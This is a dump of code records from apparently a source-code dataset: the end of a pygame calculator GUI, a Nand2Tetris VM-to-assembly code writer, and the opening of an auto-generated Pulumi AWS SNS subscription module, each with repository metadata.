button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Data Processing") # Converters menu. def create_converters_menu_gui(self): """Create the buttons for the converters menu.""" self.temp_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height) def draw_converters_menu_gui(self): """Draw the converters menu.""" if self.active_button != 'temp_button': self.temp_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Temperature") elif self.active_button == 'temp_button': self.temp_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Temperature") # Factors menu. def create_factors_menu_gui(self): """Create the buttons for the factors menu.""" self.get_factors_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.7) self.common_factors_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.9) self.gcf_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.1) self.lcf_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.3) def draw_factors_menu_gui(self): """Draw the factors menu.""" if self.active_button != 'get_factors_button': self.get_factors_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Factoring") elif self.active_button == 'get_factors_button': self.get_factors_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Factoring") if self.active_button != 'common_factors_button': self.common_factors_button.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Common Factors") elif self.active_button == 'common_factors_button': self.common_factors_button.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Common Factors") if self.active_button != 'gcf_button': self.gcf_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="GCF") elif self.active_button == 'gcf_button': self.gcf_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="GCF") if self.active_button != 'lcf_button': self.lcf_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="LCF") elif self.active_button == 'lcf_button': self.lcf_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="LCF") # Geometry menu. def create_geometry_menu_gui(self): """Create the buttons for the geometry menu.""" self.mar_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.9) self.solid_polygon_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.1) def draw_geometry_menu_gui(self): """Draw the geometry menu.""" if self.active_button != 'mar_button': self.mar_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Maintain Ratio") elif self.active_button == 'mar_button': self.mar_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Maintain Ratio") if self.active_button != 'solid_polygon_button': self.solid_polygon_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="2D Solid Info") elif self.active_button == 'solid_polygon_button': self.solid_polygon_button.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="2D Solid Info") # Algebra menu. def create_algebra_menu_gui(self): """Create the buttons for the algebra menu.""" self.root_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.9) self.extrapolate_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.1) def draw_algebra_menu_gui(self): """Draw the algebra menu.""" if self.active_button != 'root_button': self.root_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Root") elif self.active_button == 'root_button': self.root_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Root") if self.active_button != 'extrapolate_button': self.extrapolate_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Extrapolate") elif self.active_button == 'extrapolate_button': self.extrapolate_button.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Extrapolate") # Data processing menu. def create_data_processing_menu_gui(self): """Create the buttons for the data processing menu.""" self.average_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.7) self.median_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=0.9) self.mode_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.1) self.range_button = DynamicTextButton(self, text_size=self.text_size, width=self.width, border_size=self.border_size, height=self.height, multiply_y=1.3) def draw_data_processing_menu_gui(self): """Draw the data processing menu.""" if self.active_button != 'average_button': self.average_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Mean/Average") elif self.active_button == 'average_button': self.average_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Mean/Average") if self.active_button != 'median_button': self.median_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Median") elif self.active_button == 'median_button': self.median_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Median") if self.active_button != 'mode_button': self.mode_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Mode") elif self.active_button == 'mode_button': self.mode_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Mode") if self.active_button != 'range_button': self.range_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Range") elif self.active_button == 'range_button': self.range_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Range") # Redraw all screen elements. def update_screen(self): """Update the screen.""" self.screen.fill((60,60,60)) for tile in self.tiles: tile.draw() if self.active_menu != 'main_menu': if self.active_button != 'back_button': self.back_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text="Back") elif self.active_button == 'back_button': self.back_button.draw(button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text="Back") if (self.active_menu != 'factors_menu' and self.active_menu != 'converters_menu' and self.active_menu != 'geometry_menu' and self.active_menu != 'algebra_menu' and self.active_menu != 'data_processing_menu'): if self.active_button != 'calculate_button': self.calculate_button.draw(button_color=(30,220,30), border_color=self.border_color, text_color=self.text_color, text="Calculate [ENTER]") elif self.active_button == 'calculate_button': self.calculate_button.draw(button_color=(20,140,20), border_color=self.border_color, text_color=self.text_color, text="Calculate [ENTER]") self.answer_button.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.answer, text_x_add=self.answer_text_x_mod) self.hover_text_help.draw(button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.hover_text) if self.input_buttons == 1: if self.active_button != 'input_button_4': self.input_button_4.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_4) elif self.active_button == 'input_button_4': self.input_button_4.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_4) elif self.input_buttons == 2: if self.active_button != 'input_button_3': self.input_button_3.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_3) elif self.active_button == 'input_button_3': self.input_button_3.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_3) if self.active_button != 'input_button_5': self.input_button_5.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_5) elif self.active_button == 'input_button_5': self.input_button_5.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_5) elif self.input_buttons == 3: if self.active_button != 'input_button_2': self.input_button_2.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_2) elif self.active_button == 'input_button_2': self.input_button_2.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_2) if self.active_button != 'input_button_4': self.input_button_4.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_4) elif self.active_button == 'input_button_4': self.input_button_4.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_4) if self.active_button != 'input_button_6': self.input_button_6.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_6) elif self.active_button == 'input_button_6': self.input_button_6.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_6) elif self.input_buttons == 4: if self.active_button != 'input_button_1': self.input_button_1.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_1) elif self.active_button == 'input_button_1': self.input_button_1.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_1) if self.active_button != 'input_button_3': self.input_button_3.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_3) elif self.active_button == 'input_button_3': self.input_button_3.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_3) if self.active_button != 'input_button_5': self.input_button_5.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_5) elif self.active_button == 'input_button_5': self.input_button_5.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_5) if self.active_button != 'input_button_7': self.input_button_7.draw( button_color=self.active_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_7) elif self.active_button == 'input_button_7': self.input_button_7.draw( button_color=self.idle_button_color, border_color=self.border_color, text_color=self.text_color, text=self.input_box_7) if self.active_menu == 'main_menu': self.draw_main_menu_gui() elif self.active_menu == 'converters_menu': self.draw_converters_menu_gui() elif self.active_menu == 'factors_menu': self.draw_factors_menu_gui() elif self.active_menu == 'geometry_menu': self.draw_geometry_menu_gui() elif self.active_menu == 'algebra_menu': self.draw_algebra_menu_gui() elif self.active_menu == 'data_processing_menu': self.draw_data_processing_menu_gui() pygame.display.flip() if __name__ == '__main__': # Make a calculator instance, and then run it. main = MathStuffGUI() main.run_program()

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1

0

1

0

null

0

7

6324cb2187a53dcb5243d8f01f07a5ca3641c6b3

12,140

py

Python

projects/07/code_writer.py

Youngermaster/Nand2Tetris-Solutions

9fb4ac31a0558bcc2324696bfb451aac11232088

[ "MIT" ]

null

projects/07/code_writer.py

Youngermaster/Nand2Tetris-Solutions

9fb4ac31a0558bcc2324696bfb451aac11232088

[ "MIT" ]

null

projects/07/code_writer.py

Youngermaster/Nand2Tetris-Solutions

9fb4ac31a0558bcc2324696bfb451aac11232088

[ "MIT" ]

null

from parser import Parser class CodeWriter: def __init__(self, path): self.parser = Parser(path) # just perform the logic of the recommended setFileName constructor here ind1 = path.find('/') ind2 = path.find('.') self.writefile = path[:ind1] + "/" + path[ind1+1:ind2] self.filename = self.writefile + '.asm' self.file = open(self.filename, 'w') self.writefile_ind = self.writefile.rfind('/') # * Useful in declaring static variables self.static_var = self.writefile[self.writefile_ind + 1:] def writePushPop(self): # no need to pass in command as an argument assert self.parser.commandType() in ['C_PUSH', 'C_POP'] arg1 = self.parser.arg1() arg2 = self.parser.arg2() if self.parser.commandType() == 'C_PUSH': # stack operation if arg1 == 'constant': # e.g. push constant 7 self.file.write('@%s\n' % arg2) self.file.write('D=A\n') # D = 7 self.file.write('@SP\n') self.file.write('A=M\n') self.file.write('M=D\n') # M[M[base_address]] = 7 elif arg1 in ['temp', 'pointer', 'local', 'argument', 'this', 'that']: self.file.write('@%s\n' % arg2) self.file.write('D=A\n') if arg1 == 'temp': self.file.write('@5\n') self.file.write('A=D+A\n') elif arg1 == 'pointer': self.file.write('@3\n') self.file.write('A=D+A\n') elif arg1 == 'local': self.file.write('@LCL\n') self.file.write('A=D+M\n') elif arg1 == 'argument': self.file.write('@ARG\n') self.file.write('A=D+M\n') elif arg1 == 'this': self.file.write('@THIS\n') self.file.write('A=D+M\n') elif arg1 == 'that': self.file.write('@THAT\n') self.file.write('A=D+M\n') else: pass self.file.write('D=M\n') self.file.write('@SP\n') self.file.write('A=M\n') self.file.write('M=D\n') elif arg1 == 'static': # declare a new symbol file.j in "push static j" self.file.write('@%s.%s\n' % (self.static_var, arg2)) self.file.write('D=M\n') # push D's value to the stack self.file.write('@SP\n') self.file.write('A=M\n') self.file.write('M=D\n') else: # TODO pass # increase address of stack top self.file.write('@SP\n') self.file.write('M=M+1\n') # M[base_address] = M[base_address] + 1 elif self.parser.commandType() == 'C_POP': # pop the stack value and store it in segment[index] # use general purpose RAM[13] to store the value of 'segment_base_address + index' self.file.write('@%s\n' % arg2) self.file.write('D=A\n') if arg1 in ['temp', 'pointer', 'local', 'argument', 'this', 'that']: if arg1 == 'local': self.file.write('@LCL\n') self.file.write('D=D+M\n') elif arg1 == 'argument': self.file.write('@ARG\n') self.file.write('D=D+M\n') elif arg1 == 'this': self.file.write('@THIS\n') self.file.write('D=D+M\n') elif arg1 == 'that': self.file.write('@THAT\n') self.file.write('D=D+M\n') elif arg1 == 'temp': self.file.write('@5\n') self.file.write('D=D+A\n') elif arg1 == 'pointer': self.file.write('@3\n') self.file.write('D=D+A\n') else: # TODO pass # self.file.write('D=D+M\n') self.file.write('@13\n') # general purpose register self.file.write('M=D\n') self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') # pop command self.file.write('@13\n') self.file.write('A=M\n') self.file.write('M=D\n') # write to appropriate address self.file.write('@SP\n') self.file.write('M=M-1\n') # adjust address of stack top elif arg1 == 'static': self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') # pop command self.file.write('@%s.%s\n' % (self.static_var, arg2)) self.file.write('M=D\n') # write to appropriate address self.file.write('@SP\n') self.file.write('M=M-1\n') # adjust address of stack top else: # TODO pass def writeArithmetic(self): # no need to pass in command as an argument assert self.parser.commandType() == 'C_ARITHMETIC' command = self.parser.arg1() if command == 'add': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('D=D+M\n') self.file.write('M=D\n') self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'sub': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('D=M-D\n') self.file.write('M=D\n') self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'eq': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('D=M-D\n') # there could be more than one 'eq' command self.file.write('@IF_TRUE_%s\n' % self.parser.i) self.file.write('D;JEQ\n') self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=0\n') # there could be more than one 'eq' command self.file.write('@END_%s\n' % self.parser.i) self.file.write('0;JMP\n') self.file.write('(IF_TRUE_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=-1\n') self.file.write('(END_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'gt': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('D=M-D\n') # there could be more than one 'gt' command self.file.write('@IF_TRUE_%s\n' % self.parser.i) self.file.write('D;JGT\n') self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=0\n') # there could be more than one 'gt' command self.file.write('@END_%s\n' % self.parser.i) self.file.write('0;JMP\n') self.file.write('(IF_TRUE_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=-1\n') self.file.write('(END_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'lt': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('D=M-D\n') # there could be more than one 'lt' command self.file.write('@IF_TRUE_%s\n' % self.parser.i) self.file.write('D;JLT\n') self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=0\n') # there could be more than one 'lt' command self.file.write('@END_%s\n' % self.parser.i) self.file.write('0;JMP\n') self.file.write('(IF_TRUE_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('A=A-1\n') self.file.write('M=-1\n') self.file.write('(END_%s)\n' % self.parser.i) self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'and': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('M=D&M\n') self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'or': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('D=M\n') self.file.write('A=A-1\n') self.file.write('M=D|M\n') self.file.write('@SP\n') self.file.write('M=M-1\n') elif command == 'neg': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('M=-M\n') elif command == 'not': # stack operation self.file.write('@SP\n') self.file.write('A=M-1\n') self.file.write('M=!M\n') else: raise ValueError( "Unrecognized command for C_ARITHMETIC command type") def createOutput(self): # initially set the SP address to 256 (the address for the stack) self.file.write('@256\n') self.file.write('D=A\n') self.file.write('@SP\n') self.file.write('M=D\n') # set the local address to 300 self.file.write('@300\n') self.file.write('D=A\n') self.file.write('@LCL\n') self.file.write('M=D\n') # set the argument address to 400 self.file.write('@400\n') self.file.write('D=A\n') self.file.write('@ARG\n') self.file.write('M=D\n') # set the this address to 3000 self.file.write('@3000\n') self.file.write('D=A\n') self.file.write('@THIS\n') self.file.write('M=D\n') # set the that address to 3010 self.file.write('@3010\n') self.file.write('D=A\n') self.file.write('@THAT\n') self.file.write('M=D\n') self.parser.i = -1 while self.parser.hasMoreCommands(): self.parser.advance() c_type = self.parser.commandType() if c_type in ['C_PUSH', 'C_POP']: self.writePushPop() elif c_type == 'C_ARITHMETIC': self.writeArithmetic() # close file self.file.close() if __name__ == "__main__": for path in ["StackArithmetic/SimpleAdd/SimpleAdd.vm", "StackArithmetic/StackTest/StackTest.vm", "MemoryAccess/BasicTest/BasicTest.vm", "MemoryAccess/PointerTest/PointerTest.vm", "MemoryAccess/StaticTest/StaticTest.vm"]: codewriter = CodeWriter(path) codewriter.createOutput()

39.415584

100

0.469934

1,651

12,140

3.423985

0.09146

0.258978

0.416239

0.289758

0.720502

0.709181

0.70865

0.68813

0.672209

0

0.017004

0.360544

12,140

307

101

39.543974

0.711194

0.109473

0

0.735178

0

0.150687

0.017373

0

0.003257

0.007905

1

0.01581

false

0.01581

0.003953

0

0.023715

0

null

1

0

1

0

1

0

1

0

null

0

8

632d627a4bcd3708d72cd96783ba50edc3b46e8f

44,082

py

Python

sdk/python/pulumi_aws/sns/topic_subscription.py

alexbowers/pulumi-aws

7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_aws/sns/topic_subscription.py

alexbowers/pulumi-aws

7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_aws/sns/topic_subscription.py

alexbowers/pulumi-aws

7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['TopicSubscriptionArgs', 'TopicSubscription'] @pulumi.input_type class TopicSubscriptionArgs: def __init__(__self__, *, endpoint: pulumi.Input[str], protocol: pulumi.Input[str], topic: pulumi.Input[str], confirmation_timeout_in_minutes: Optional[pulumi.Input[int]] = None, delivery_policy: Optional[pulumi.Input[str]] = None, endpoint_auto_confirms: Optional[pulumi.Input[bool]] = None, filter_policy: Optional[pulumi.Input[str]] = None, raw_message_delivery: Optional[pulumi.Input[bool]] = None, redrive_policy: Optional[pulumi.Input[str]] = None, subscription_role_arn: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a TopicSubscription resource. :param pulumi.Input[str] endpoint: Endpoint to send data to. The contents vary with the protocol. See details below. :param pulumi.Input[str] protocol: Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. :param pulumi.Input[str] topic: ARN of the SNS topic to subscribe to. :param pulumi.Input[int] confirmation_timeout_in_minutes: Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. :param pulumi.Input[str] delivery_policy: JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. :param pulumi.Input[bool] endpoint_auto_confirms: Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. :param pulumi.Input[str] filter_policy: JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. :param pulumi.Input[bool] raw_message_delivery: Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. :param pulumi.Input[str] redrive_policy: JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. :param pulumi.Input[str] subscription_role_arn: ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). """ pulumi.set(__self__, "endpoint", endpoint) pulumi.set(__self__, "protocol", protocol) pulumi.set(__self__, "topic", topic) if confirmation_timeout_in_minutes is not None: pulumi.set(__self__, "confirmation_timeout_in_minutes", confirmation_timeout_in_minutes) if delivery_policy is not None: pulumi.set(__self__, "delivery_policy", delivery_policy) if endpoint_auto_confirms is not None: pulumi.set(__self__, "endpoint_auto_confirms", endpoint_auto_confirms) if filter_policy is not None: pulumi.set(__self__, "filter_policy", filter_policy) if raw_message_delivery is not None: pulumi.set(__self__, "raw_message_delivery", raw_message_delivery) if redrive_policy is not None: pulumi.set(__self__, "redrive_policy", redrive_policy) if subscription_role_arn is not None: pulumi.set(__self__, "subscription_role_arn", subscription_role_arn) @property @pulumi.getter def endpoint(self) -> pulumi.Input[str]: """ Endpoint to send data to. The contents vary with the protocol. See details below. """ return pulumi.get(self, "endpoint") @endpoint.setter def endpoint(self, value: pulumi.Input[str]): pulumi.set(self, "endpoint", value) @property @pulumi.getter def protocol(self) -> pulumi.Input[str]: """ Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: pulumi.Input[str]): pulumi.set(self, "protocol", value) @property @pulumi.getter def topic(self) -> pulumi.Input[str]: """ ARN of the SNS topic to subscribe to. """ return pulumi.get(self, "topic") @topic.setter def topic(self, value: pulumi.Input[str]): pulumi.set(self, "topic", value) @property @pulumi.getter(name="confirmationTimeoutInMinutes") def confirmation_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]: """ Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. """ return pulumi.get(self, "confirmation_timeout_in_minutes") @confirmation_timeout_in_minutes.setter def confirmation_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "confirmation_timeout_in_minutes", value) @property @pulumi.getter(name="deliveryPolicy") def delivery_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. """ return pulumi.get(self, "delivery_policy") @delivery_policy.setter def delivery_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_policy", value) @property @pulumi.getter(name="endpointAutoConfirms") def endpoint_auto_confirms(self) -> Optional[pulumi.Input[bool]]: """ Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. """ return pulumi.get(self, "endpoint_auto_confirms") @endpoint_auto_confirms.setter def endpoint_auto_confirms(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "endpoint_auto_confirms", value) @property @pulumi.getter(name="filterPolicy") def filter_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. """ return pulumi.get(self, "filter_policy") @filter_policy.setter def filter_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "filter_policy", value) @property @pulumi.getter(name="rawMessageDelivery") def raw_message_delivery(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. """ return pulumi.get(self, "raw_message_delivery") @raw_message_delivery.setter def raw_message_delivery(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "raw_message_delivery", value) @property @pulumi.getter(name="redrivePolicy") def redrive_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. """ return pulumi.get(self, "redrive_policy") @redrive_policy.setter def redrive_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "redrive_policy", value) @property @pulumi.getter(name="subscriptionRoleArn") def subscription_role_arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). """ return pulumi.get(self, "subscription_role_arn") @subscription_role_arn.setter def subscription_role_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subscription_role_arn", value) @pulumi.input_type class _TopicSubscriptionState: def __init__(__self__, *, arn: Optional[pulumi.Input[str]] = None, confirmation_timeout_in_minutes: Optional[pulumi.Input[int]] = None, confirmation_was_authenticated: Optional[pulumi.Input[bool]] = None, delivery_policy: Optional[pulumi.Input[str]] = None, endpoint: Optional[pulumi.Input[str]] = None, endpoint_auto_confirms: Optional[pulumi.Input[bool]] = None, filter_policy: Optional[pulumi.Input[str]] = None, owner_id: Optional[pulumi.Input[str]] = None, pending_confirmation: Optional[pulumi.Input[bool]] = None, protocol: Optional[pulumi.Input[str]] = None, raw_message_delivery: Optional[pulumi.Input[bool]] = None, redrive_policy: Optional[pulumi.Input[str]] = None, subscription_role_arn: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering TopicSubscription resources. :param pulumi.Input[str] arn: ARN of the subscription. :param pulumi.Input[int] confirmation_timeout_in_minutes: Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. :param pulumi.Input[bool] confirmation_was_authenticated: Whether the subscription confirmation request was authenticated. :param pulumi.Input[str] delivery_policy: JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. :param pulumi.Input[str] endpoint: Endpoint to send data to. The contents vary with the protocol. See details below. :param pulumi.Input[bool] endpoint_auto_confirms: Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. :param pulumi.Input[str] filter_policy: JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. :param pulumi.Input[str] owner_id: AWS account ID of the subscription's owner. :param pulumi.Input[bool] pending_confirmation: Whether the subscription has not been confirmed. :param pulumi.Input[str] protocol: Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. :param pulumi.Input[bool] raw_message_delivery: Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. :param pulumi.Input[str] redrive_policy: JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. :param pulumi.Input[str] subscription_role_arn: ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). :param pulumi.Input[str] topic: ARN of the SNS topic to subscribe to. """ if arn is not None: pulumi.set(__self__, "arn", arn) if confirmation_timeout_in_minutes is not None: pulumi.set(__self__, "confirmation_timeout_in_minutes", confirmation_timeout_in_minutes) if confirmation_was_authenticated is not None: pulumi.set(__self__, "confirmation_was_authenticated", confirmation_was_authenticated) if delivery_policy is not None: pulumi.set(__self__, "delivery_policy", 